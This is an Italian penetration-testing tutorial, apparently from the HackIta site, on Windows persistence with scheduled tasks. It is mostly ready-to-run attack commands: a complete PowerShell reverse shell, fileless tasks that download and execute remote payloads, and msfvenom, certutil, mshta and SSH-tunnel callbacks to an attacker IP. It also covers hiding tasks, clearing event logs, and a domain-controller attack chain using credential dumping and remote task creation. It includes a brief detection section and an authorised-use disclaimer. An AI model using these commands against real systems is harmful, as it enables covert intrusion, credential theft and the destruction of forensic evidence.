Scheduled Task Backdoor: Persistenza Windows con Task Pianificati nel Pentest

Scheduled Task Backdoor: persistenza su Windows tramite Task Scheduler con schtasks e PowerShell. Tecniche stealth, evasione EDR, detection log e scenari reali di Red Team.
- Pubblicato il 2026-02-08
- Tempo di lettura: 8 min
Se crontab è il meccanismo di persistenza per Linux, le Scheduled Task (o Task Pianificati) sono il corrispettivo nativo su Windows. Ogni installazione Windows include il Task Scheduler, e gli amministratori lo usano quotidianamente per backup, aggiornamenti e manutenzione. Questo lo rende un posto ideale dove nascondere un callback: un task in più tra decine esistenti passa facilmente inosservato.
Nel penetration testing, una scheduled task malevola garantisce che il payload si esegua a intervalli regolari, al logon dell’utente o al boot del sistema — senza bisogno di modificare il registro, creare servizi o installare driver. Funziona da Windows 7 in poi e su tutte le versioni di Windows Server.
Nella kill chain ci posizioniamo nella fase di Persistence (MITRE ATT&CK T1053.005). L’articolo copre creazione di task da riga di comando, tecniche di occultamento, integrazione con payload e metodologie di cleanup.
Setup e Prerequisiti #
Non serve installare nulla. Il Task Scheduler è un componente nativo di Windows.
Verifica disponibilità:
schtasks /query /fo LIST | findstr "TaskName"Output (parziale):
TaskName: \Microsoft\Windows\UpdateOrchestrator\Schedule Scan
TaskName: \Microsoft\Windows\Defrag\ScheduledDefrag
TaskName: \Microsoft\Windows\DiskCleanup\SilentCleanupI task di sistema sono già numerosi. Il nostro si confonderà tra questi.
Requisiti:
- Shell sul target Windows (cmd, PowerShell, o sessione Meterpreter)
- Per task che eseguono come SYSTEM: privilegi di amministratore locale
- Per task nel contesto dell’utente corrente: nessun privilegio aggiuntivo
- Payload posizionato su disco o raggiungibile dalla rete
Uso Base #
Creare un task con schtasks (cmd) #
Task che esegue un payload ogni 10 minuti:
schtasks /create /tn "Microsoft\Windows\NetTrace\GatherNetworkInfo" /tr "C:\Windows\Temp\update.exe" /sc minute /mo 10 /ru SYSTEM /f/tn→ nome task (path completo nel task scheduler)/tr→ comando da eseguire/sc minute /mo 10→ ogni 10 minuti/ru SYSTEM→ esegue come SYSTEM/f→ force (sovrascrive se esiste)
Verifica:
schtasks /query /tn "Microsoft\Windows\NetTrace\GatherNetworkInfo" /fo LIST /vOutput:
TaskName: \Microsoft\Windows\NetTrace\GatherNetworkInfo
Status: Ready
Logon Mode: Interactive/Background
Run As User: SYSTEM
Schedule Type: Every 10 minute(s)
Task To Run: C:\Windows\Temp\update.exeTask al logon dell’utente #
schtasks /create /tn "OneDriveSync" /tr "powershell.exe -ep bypass -w hidden -f C:\Users\admin\AppData\sync.ps1" /sc onlogon /ru admin /f/sc onlogon→ si esegue al login dell’utente-w hidden→ finestra PowerShell nascosta-ep bypass→ ignora execution policy
Task al boot del sistema #
schtasks /create /tn "Microsoft\Windows\Maintenance\WinSAT" /tr "C:\Windows\Temp\svc.exe" /sc onstart /ru SYSTEM /fSi esegue a ogni avvio del sistema, prima ancora che un utente faccia login.
Tecniche Operative #
Payload con reverse shell PowerShell #
Crea lo script del payload:
$client = New-Object System.Net.Sockets.TCPClient('10.10.14.22',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()Salvalo come C:\Users\Public\Documents\sync.ps1.
Registra il task:
schtasks /create /tn "OneDriveCloudSync" /tr "powershell.exe -ep bypass -w hidden -nop -f C:\Users\Public\Documents\sync.ps1" /sc minute /mo 15 /ru %USERNAME% /fOgni 15 minuti ricevi una reverse shell.
Task via PowerShell (sintassi moderna) #
Per Windows 10/11 e Server 2016+, l’approccio PowerShell è più flessibile:
$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep bypass -w hidden -f C:\Users\Public\Documents\sync.ps1"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 10) -RepetitionDuration (New-TimeSpan -Days 365)
$settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable
Register-ScheduledTask -TaskName "Microsoft\Windows\Maintenance\WinSAT" -Action $action -Trigger $trigger -Settings $settings -User "SYSTEM" -RunLevel Highest -ForceL’opzione -Hidden nasconde il task dalla GUI standard del Task Scheduler.
Esecuzione inline senza file su disco #
Evita di scrivere uno script PowerShell su disco — embedding diretto nel task:
schtasks /create /tn "WindowsDefenderUpdate" /tr "powershell.exe -ep bypass -w hidden -nop -c \"IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.22/payload.ps1')\"" /sc minute /mo 20 /ru SYSTEM /fIl payload viene scaricato e eseguito in memoria ogni 20 minuti. Nessun file persistente su disco (fileless).
Tecniche Avanzate #
Task con delay randomico #
Un task che esegue esattamente ogni N minuti crea un pattern riconoscibile. Aggiungi delay casuale:
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 15) -RepetitionDuration (New-TimeSpan -Days 365)
$trigger.Delay = "PT5M" # delay casuale fino a 5 minutiTask nascosto con attributo SD (Security Descriptor) #
Rimuovi i permessi di lettura sul task per gli utenti non-admin:
schtasks /create /tn "MicrosoftEdgeUpdateCheck" /tr "C:\Windows\Temp\svc.exe" /sc minute /mo 30 /ru SYSTEM /fPoi modifica il security descriptor per nascondere il task:
$sddl = "D:P(A;;FA;;;BA)(A;;FA;;;SY)"
$scheduler = New-Object -ComObject Schedule.Service
$scheduler.Connect()
$folder = $scheduler.GetFolder('\')
$folder.SetSecurityDescriptor($sddl, 0)Solo SYSTEM e Administrators vedono il task. Utenti standard non lo trovano con schtasks /query.
Persistence multi-livello con WMI Event Subscription #
Combina scheduled task con WMI per ridondanza:
# Task scheduler (primario)
schtasks /create /tn "SystemHealthCheck" /tr "C:\Windows\Temp\health.exe" /sc minute /mo 15 /ru SYSTEM /f
# WMI Event Subscription (backup)
$filterArgs = @{
EventNamespace = 'root\cimv2'
Name = 'ProcessStartMonitor'
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 600 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 120"
QueryLanguage = 'WQL'
}
$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments $filterArgsSe il Blue Team rimuove il task, il WMI event lo ricrea.
Esecuzione da share di rete #
Per non lasciare payload sul disco locale:
schtasks /create /tn "AdobeUpdater" /tr "\\10.10.14.22\share\payload.exe" /sc onlogon /ru admin /fIl binario risiede sul tuo attacker box. Attenzione: la share deve essere raggiungibile al momento dell’esecuzione.
Scenari Pratici di Pentest #
Scenario 1: Server Windows in DMZ — Callback persistente #
schtasks /create /tn "Microsoft\Windows\NetTrace\GatherInfo" /tr "powershell.exe -ep bypass -w hidden -c \"IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.22/rev.ps1')\"" /sc minute /mo 10 /ru SYSTEM /fOutput atteso: SUCCESS: The scheduled task "Microsoft\Windows\NetTrace\GatherInfo" has successfully been created.
Cosa fare se fallisce:
Access Denied→ Non sei admin locale. Crea il task come utente corrente senza/ru SYSTEM: il task girerà nel contesto utente.- Il callback non arriva → Firewall outbound blocca PowerShell. Usa un binario standalone generato con msfvenom:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.22 LPORT=443 -f exe -o update.exe.
Timeline: Creazione task 3 secondi. Primo callback entro 10 minuti.
Scenario 2: Workstation developer — Persistenza al logon con chiave SSH rubata #
Hai trovato una chiave SSH privata in C:\Users\dev\.ssh\id_rsa. Vuoi mantenere accesso anche se cambiano la password Windows.
schtasks /create /tn "VSCodeSync" /tr "C:\Windows\System32\OpenSSH\ssh.exe -i C:\Users\dev\.ssh\id_rsa -R 9999:localhost:3389 -N attacker@10.10.14.22" /sc onlogon /ru dev /fOutput atteso: SUCCESS: The scheduled task "VSCodeSync" has successfully been created.
Cosa fare se fallisce:
- OpenSSH client non installato → Usa Plink come alternativa: sostituisci
ssh.execonplink.exe. - Chiave con passphrase → Serve la passphrase. Cerca in file di configurazione o usa
ssh-agentse è attivo.
Timeline: 5 secondi per creare il task. Tunnel attivo al prossimo logon dell’utente.
Scenario 3: Rete con EDR CrowdStrike — Evasion con LOLBins #
EDR avanzati flaggano powershell.exe nei task pianificati. Usa un LOLBin:
schtasks /create /tn "Microsoft\Windows\Diagnosis\Scheduled" /tr "mshta.exe http://10.10.14.22/payload.hta" /sc minute /mo 30 /ru SYSTEM /fmshta.exe è un binario Windows legittimo che esegue HTA (HTML Application).
Output atteso: SUCCESS: ...
Cosa fare se fallisce:
mshta.exebloccato da AppLocker → Provarundll32.exe javascript:\"\..\mshtml,RunHTMLApplication\";...ocertutil -urlcache -split -f http://10.10.14.22/payload.exe C:\Windows\Temp\payload.exe && C:\Windows\Temp\payload.exe.- CrowdStrike blocca anche LOLBins → Ambiente molto hardened. Considera alternative come WMI subscription o COM object hijacking.
Timeline: 3 secondi. Callback entro 30 minuti.
Toolchain Integration #
Le scheduled task sono il meccanismo di persistenza per ambienti Windows nell’intera catena d’attacco.
Flusso tipico:
Initial Access → PrivEsc → KeeThief (credential dump) → Scheduled Task (persistence) → Lateral Movement
Le credenziali ottenute da KeePass o dal dump LSASS vengono usate per creare task su macchine remote:
schtasks /create /s DC01.corp.local /u CORP\admin /p "P@ssw0rd" /tn "DomainPolicyUpdate" /tr "C:\Windows\Temp\beacon.exe" /sc minute /mo 15 /ru SYSTEM /fIl flag /s permette di creare task su macchine remote — persistenza a distanza.
| Metodo persistenza Windows | Richiede admin | Sopravvive reboot | Stealth | Complessità |
|---|---|---|---|---|
| Scheduled Task (SYSTEM) | Sì | Sì | ★★★☆ | Bassa |
| Scheduled Task (utente) | No | Sì | ★★★☆ | Bassa |
| Registry Run key | No | Sì | ★★☆☆ | Bassa |
| Servizio Windows | Sì | Sì | ★★☆☆ | Media |
| WMI Event Subscription | Sì | Sì | ★★★★ | Alta |
| DLL hijacking | Dipende | Sì | ★★★★ | Alta |
Attack Chain Completa #
Obiettivo: Persistenza su domain controller dopo lateral movement.
Fase 1 — Initial Access (35 min)
Compromissione di una workstation tramite macro Word. Shell come utente standard.
Fase 2 — PrivEsc locale (20 min)
PrintNightmare o altro LPE per ottenere SYSTEM sulla workstation.
Fase 3 — Credential Harvesting (10 min)
Dump LSASS con Mimikatz. Trovi credenziali domain admin cached.
Fase 4 — Lateral Movement al DC (5 min)
psexec.py CORP/da-admin:'DA_p@ss!'@dc01.corp.localShell SYSTEM sul domain controller.
Fase 5 — Persistence (2 min)
schtasks /create /tn "Microsoft\Windows\Compat\ProgramDataUpdater" /tr "C:\Windows\Temp\beacon.exe" /sc minute /mo 20 /ru SYSTEM /fNome task che imita un task di sistema Windows reale.
Fase 6 — DCSync per backup credenziali (5 min)
secretsdump.py CORP/da-admin:'DA_p@ss!'@dc01.corp.localDump completo. Il task pianificato garantisce rientro anche se cambiano le password.
Timeline totale: ~77 minuti.
Detection & Evasion #
Cosa monitora il Blue Team #
- Event ID 4698 → Creazione di un nuovo scheduled task (Security Log)
- Sysmon Event ID 1 → Process creation da
schtasks.execon argomenti sospetti - Event ID 106 → Task registered (Task Scheduler Operational Log)
- EDR → Monitoraggio di
powershell.exeo LOLBins come child process ditaskeng.exe/taskhostw.exe
Log rilevanti #
Security→ Event ID 4698 (task created), 4702 (task updated)Microsoft-Windows-TaskScheduler/Operational→ Event ID 106 (registered), 200 (action started), 201 (action completed)- Sysmon → Event ID 1 (process create), Event ID 11 (file create per payload)
Tecniche di evasion #
- Naming che imita task di sistema: usa percorsi come
Microsoft\Windows\Maintenance\*oMicrosoft\Windows\NetTrace\*. I SOC analyst scorrono centinaia di task — uno con nome plausibile viene ignorato. - Elimina il log del task dopo la creazione: con privilegi SYSTEM, pulisci i log operativi:
wevtutil cl Microsoft-Windows-TaskScheduler/Operational- Delay iniziale elevato: crea il task con un delay di 30-60 minuti prima della prima esecuzione. Se il SOC controlla i task appena creati, il callback non è ancora partito e il task appare dormiente.
Cleanup #
schtasks /delete /tn "Microsoft\Windows\NetTrace\GatherInfo" /f
del C:\Windows\Temp\update.exe
del C:\Users\Public\Documents\sync.ps1
wevtutil cl Microsoft-Windows-TaskScheduler/OperationalPerformance & Scaling #
Single target: il task scheduler ha overhead quasi nullo. Un task ogni 10-15 minuti consuma risorse trascurabili.
Multi-target remoto: usa schtasks /create /s HOSTNAME per creare task su macchine remote in batch:
for /f %h in (targets.txt) do schtasks /create /s %h /u CORP\admin /p "P@ss" /tn "HealthCheck" /tr "C:\Windows\Temp\beacon.exe" /sc minute /mo 15 /ru SYSTEM /fLimiti: Windows limita il numero di task attivi ma il limite è nell’ordine delle migliaia — non è un vincolo operativo. La frequenza minima per un task ripetuto è 1 minuto.
Tabelle Tecniche #
Command Reference (schtasks) #
| Comando | Descrizione |
|---|---|
schtasks /create /tn NAME /tr CMD /sc TRIGGER | Crea task |
schtasks /query /tn NAME /fo LIST /v | Dettagli task |
schtasks /run /tn NAME | Esecuzione immediata |
schtasks /delete /tn NAME /f | Elimina task |
schtasks /change /tn NAME /tr NEWCMD | Modifica task |
schtasks /create /s HOST /u USER /p PASS ... | Task su host remoto |
Trigger disponibili #
| Trigger | Flag schtasks | Uso offensivo |
|---|---|---|
| Ogni N minuti | /sc minute /mo N | Callback ricorrente |
| Al boot | /sc onstart | Persistenza pre-logon |
| Al logon | /sc onlogon | Persistenza utente |
| Giornaliero | /sc daily /st HH:MM | Callback giornaliero |
| A evento specifico | /sc onevent /ec Security /mo *[...] | Trigger su azione specifica |
| Idle | /sc onidle /i 10 | Esecuzione quando l’utente è inattivo |
Troubleshooting #
| Problema | Causa | Fix |
|---|---|---|
Access Denied | Non admin per task SYSTEM | Crea task come utente corrente (senza /ru SYSTEM) |
| Task creato ma non esegue | Payload path errato o rimosso | Verifica che il file esista e sia eseguibile |
| Callback non arriva | Firewall blocca outbound | Cambia porta (443, 53) o usa LOLBin per HTTP |
| Task visibile nel Task Scheduler GUI | Permessi default | Usa Security Descriptor per nasconderlo |
The task XML contains too many nodes | Errore di sintassi | Ricontrolla sintassi PowerShell per task complessi |
Event ID 201 con result 0x1 | Il comando ritorna errore | Testa il comando manualmente prima di schedularlo |
FAQ #
Serve essere admin per creare un task? Per task che girano come SYSTEM o altri utenti, sì. Per task che girano nel tuo contesto utente, no.
Il task sopravvive a un reboot?
Sì. I task sono salvati in file XML in C:\Windows\System32\Tasks\.
Posso creare task da una reverse shell non interattiva?
Sì. schtasks funziona perfettamente da cmd non interattivo. PowerShell Register-ScheduledTask richiede più interattività.
Come trovo task sospetti come Blue Team?
Controlla Event ID 4698, lista task con schtasks /query /fo CSV /v e confronta con una baseline. Cerca task con nomi che imitano quelli di sistema ma con path binari anomali.
Posso creare task su macchine remote?
Sì, con il flag /s HOSTNAME e credenziali valide. Richiede che la porta 135 (RPC) sia raggiungibile.
Il task funziona anche se l’utente non è loggato?
Sì, se creato con /ru SYSTEM o con l’opzione “Run whether user is logged on or not”.
Cheat Sheet #
| Azione | Comando |
|---|---|
| Callback ogni 10 min | schtasks /create /tn "TaskName" /tr "payload.exe" /sc minute /mo 10 /ru SYSTEM /f |
| Al boot | schtasks /create /tn "TaskName" /tr "payload.exe" /sc onstart /ru SYSTEM /f |
| Al logon | schtasks /create /tn "TaskName" /tr "payload.exe" /sc onlogon /f |
| Task remoto | schtasks /create /s HOST /u USER /p PASS /tn "Name" /tr "cmd" /sc minute /mo 15 /ru SYSTEM /f |
| Fileless (download + exec) | schtasks /create /tn "Name" /tr "powershell -ep bypass -w hidden -c IEX(...)" /sc minute /mo 20 /ru SYSTEM /f |
| Esecuzione immediata | schtasks /run /tn "TaskName" |
| Query task | schtasks /query /tn "TaskName" /fo LIST /v |
| Elimina task | schtasks /delete /tn "TaskName" /f |
| Pulisci log | wevtutil cl Microsoft-Windows-TaskScheduler/Operational |
Disclaimer: Le scheduled task sono una funzionalità nativa di Windows. L’uso descritto è esclusivamente per attività autorizzate di penetration test e Red Team. Creare persistenza su sistemi senza autorizzazione è un reato. Documentazione ufficiale: docs.microsoft.com/en-us/windows/win32/taskschd.
Vuoi supportare HackIta? Visita hackita.it/supporto per donazioni. Per penetration test professionali e formazione 1:1, scopri hackita.it/servizi.




